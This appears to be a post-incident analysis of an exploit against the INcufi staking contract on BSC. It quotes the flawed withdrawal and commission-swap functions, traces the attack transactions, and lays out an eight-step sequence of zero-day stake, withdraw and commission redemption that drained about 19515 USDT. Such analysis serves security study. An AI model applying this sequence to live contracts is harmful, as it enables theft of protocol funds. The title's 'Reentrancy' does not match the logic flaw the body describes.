StepHeroNFTs Referral Reentrancy

The withdrawal and redemption paths are equally important:

function withdral(uint id) public {
    require(OrdereMap[id].complet == false,"already complet");
    require(OrdereMap[id].USer== msg.sender,"not your order");
    require(OrdereMap[id].enddate< block.timestamp,"not your order");
    contractToken.transfer(msg.sender,OrdereMap[id].amount);
    OrdereMap[id].complet = true;
}

function swapCommision (uint amount) public {
    require(isRegistered(msg.sender) == true,"not registred");
    CommissionContractToken.transferFrom(msg.sender, address(this), amount);
    uint swapamount = amount;
    contractToken.transfer(msg.sender,swapamount);
}

These code paths mean:

• Any registered user can create a stake whose enddate is block.timestamp by using day = 0.
• The same stake still pays referral commission immediately.
• Commission redemption is not capped by realized yield, stake duration, or previously earned commission accounting.

3. Vulnerability Analysis & Root Cause Summary

This is an ACT attack on protocol economics, not a privileged-admin incident. The attacker does not need control of any victim-side access-controlled contract. The protocol itself exposes every necessary primitive publicly.

The violated invariant is: for one stake cycle, INcufi should never owe the staking account and its referral tree more value than the deposited principal plus intended yield. That invariant breaks first inside STAKE when a day = 0 order still triggers immediate referral transfers. The loss becomes realizable in swapCommision, where commission token balances are redeemed 1:1 into USDT.

The exploit is deterministic because the attacker can self-build the referral tree using register, fund the helper with USDT, stake 10000 USDT with day = 0, wait one block, call withdral, pull the commission tokens from the two attacker-controlled child contracts, and redeem them through swapCommision. No private keys, privileged roles, or off-chain attacker artifacts from the original incident are required for the exploit model itself.

4. Detailed Root Cause Analysis

The exploit requires three preconditions that are visible on-chain and permissionless to satisfy:

1. A registered sponsor already exists in INcufi, so the attacker can register fresh addresses beneath it.
2. INcufi holds enough USDT liquidity to pay back the stake principal and the commission redemption.
3. The attacker can fund one stake cycle and submit two ordinary transactions in adjacent blocks.

The attacker flow starts with helper deployment in tx 0xa0dad9d26e7c8c5e09b07cc97793a44580c0786878c1646358a35fddb8cd1044, followed by setup in tx 0x42e8b96b6e20da77bd054924913a852eaa3985a3b4f713ccef1c7f4c228114a9. The setup metadata shows the EOA 0xb6911d...3c0e called the helper with selector 0xba0bba40, and the approval logs show that child contracts 0x6976...4eaf and 0x1521...07dd granted the helper unlimited AKITA allowance in that transaction.

The exploit cycle itself uses two public transactions:

• Tx 0x3c62f4569afaeb7a6e7c444cc93f5bd1b4f9e62eb62318d3ef8fd607169cacad: the helper stakes 10000 USDT with day = 0.
• Tx 0x556419e0a6ee8e6de6b3679605f9f62ad013007419a1b55c9f56590a824bfb52: the helper withdraws order 1200, pulls the referral commission from the child contracts, and redeems it for USDT.

The seed exploit trace shows the critical end state directly:

INcufi::withdral(1200)
  BEP20USDT::transfer(0x4237...709f, 10000000000000000000000)

AkitaDefender::transferFrom(0x6976...4eaf, 0x4237...709f, 500000000000000000000)
AkitaDefender::transferFrom(0x1521...07dd, 0x4237...709f, 1000000000000000000000)

INcufi::swapCommision(1500000000000000000000)
  AkitaDefender::transferFrom(0x4237...709f, INcufi, 1500000000000000000000)
  BEP20USDT::transfer(0x4237...709f, 1500000000000000000000)

The seed balance diff confirms the economic result for that same transaction:

{
  "token": "USDT",
  "holder": "0x80df77b2ae5828ff499a735ee823d6cd7cf95f5a",
  "delta": "-11500000000000000000000"
}
{
  "token": "USDT",
  "holder": "0x4237d006471b38af0e1691c00d96193a8ff5709f",
  "delta": "11500000000000000000000"
}
{
  "token": "AKITA",
  "holder": "0x6976d28d21cba294377257eae04761fa5ce14eaf",
  "delta": "-500000000000000000000"
}
{
  "token": "AKITA",
  "holder": "0x1521d34ae3d85e2219bff49dd8fe2809e1ad07dd",
  "delta": "-1000000000000000000000"
}

This evidence matches the code-level mechanism exactly:

• register lets the attacker create the referral chain.
• STAKE transfers first-level and second-level commission immediately.
• day = 0 makes the order effectively mature on the next block.
• withdral returns the full principal.
• swapCommision converts the self-generated commission token amount into equal raw USDT without any cap or pricing step.

5. Adversary Flow Analysis

The adversary strategy is a repeated two-transaction cycle driven by one EOA, one helper contract, and two attacker-controlled referral child contracts.

Stage 1 is helper deployment. The helper was deployed in block 39729790 and was thereafter called exclusively by the attacker EOA across the observed exploit window. The root-cause evidence treats the helper as an attacker-owned orchestrator, not a victim-side privileged component.

Stage 2 is referral chain setup. In block 39729880, tx 0x42e8...14a9 executed helper setup(). The resulting child contracts approved the helper for unlimited AKITA, which later let the helper transfer their commission balances without using any attacker-side bytecode from the original incident.

Stage 3 is the zero-day stake and redemption cycle. In block 39730106, the helper executed the stake path; in block 39730109, it completed the order and redeemed the commission. The validator trace of the reproduced PoC shows the same semantic sequence on a BSC fork: creation of order 1200, 500 AKITA plus 1000 AKITA sitting in the child contracts, next-block withdrawal of 10000 USDT, and redemption of 1500 AKITA for 1500 USDT.

The complete ACT sequence is therefore:

1. Deploy attacker helper.
2. Register attacker-controlled referral addresses beneath an already-registered sponsor.
3. Fund the helper with USDT.
4. Call STAKE(10000e18, 0, 1).
5. Wait one block so enddate < block.timestamp.
6. Call withdral(orderId).
7. Pull the two commission balances from the child contracts.
8. Call swapCommision(1500e18) to extract an extra 1500 USDT.

6. Impact & Losses

The validated loss token is USDT. root_cause.json records a total loss of 19515000000000000000000 raw units with decimal = 18, which corresponds to 19515 USDT on BSC.

The incident summary states that from nonces 44 through 71, the attacker executed one 100 USDT cycle and thirteen 10000 USDT cycles. Under the observed 10% first-level plus 5% second-level schedule, those cycles drained 19515 USDT of protocol reserves in addition to full principal recovery on each stake cycle.

The exploit affects the protocol treasury/liquidity directly because the additional 1500 USDT per 10000 USDT cycle is not sourced from yield or bounded commission accounting; it is paid out of INcufi-held USDT inventory.

7. References

1. INcufi verified source at 0x80df77b2ae5828ff499a735ee823d6cd7cf95f5a, especially register, STAKE, withdral, and swapCommision.
2. Helper deployment and transaction history for 0x4237d006471b38af0e1691c00d96193a8ff5709f.
3. Setup transaction metadata for tx 0x42e8b96b6e20da77bd054924913a852eaa3985a3b4f713ccef1c7f4c228114a9.
4. AKITA approval logs proving the two child contracts approved the helper during setup.
5. Seed exploit trace for tx 0x556419e0a6ee8e6de6b3679605f9f62ad013007419a1b55c9f56590a824bfb52.
6. Seed balance diff for the same transaction, showing 11500 USDT shifted from INcufi to the helper and 1500 AKITA pulled back from the referral child contracts.